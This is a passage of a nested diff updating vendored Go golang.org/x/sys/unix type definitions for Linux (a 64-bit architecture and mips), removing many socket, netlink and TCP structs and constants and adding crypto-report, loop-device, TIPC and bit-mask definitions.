--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -260,51 +133,20 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -313,277 +155,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Regs [31]uint64
- Sp uint64
-@@ -606,30 +187,19 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-- X_f [0]int8
-- Pad_cgo_1 [4]byte
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [0]int8
-+ _ [4]byte
- }
-
- type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]int8
-- Fpack [6]int8
-- Pad_cgo_1 [4]byte
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]int8
-+ Fpack [6]int8
-+ _ [4]byte
- }
-
- type EpollEvent struct {
-@@ -640,37 +210,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x80045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -683,20 +230,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -708,13 +246,12 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -738,55 +275,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint64
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ _NCPUBITS = 0x40
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+const (
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]int8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Frsize int64
-+ Flags int64
-+ Spare [4]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ SizeofTpacketHdr = 0x20
- )
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x1269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint64
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]int8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go
-index 8fa6603f..aaca03dd 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x4
-+ SizeofLong = 0x4
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int32
-- _C_long_long int64
-+ _C_long int32
- )
-
- type Timespec struct {
-@@ -52,7 +45,7 @@ type Timex struct {
- Errcnt int32
- Stbcnt int32
- Tai int32
-- Pad_cgo_0 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int32
-@@ -88,13 +81,6 @@ type Rusage struct {
- Nivcsw int32
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint32
- Pad1 [3]int32
-@@ -115,141 +101,30 @@ type Stat_t struct {
- Pad5 [14]int32
- }
-
--type Statfs_t struct {
-- Type int32
-- Bsize int32
-- Frsize int32
-- Pad_cgo_0 [4]byte
-- Blocks uint64
-- Bfree uint64
-- Files uint64
-- Ffree uint64
-- Bavail uint64
-- Fsid Fsid
-- Namelen int32
-- Flags int32
-- Spare [5]int32
-- Pad_cgo_1 [4]byte
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ _ [4]byte
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -260,41 +135,11 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint32
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-@@ -311,277 +156,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x8
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
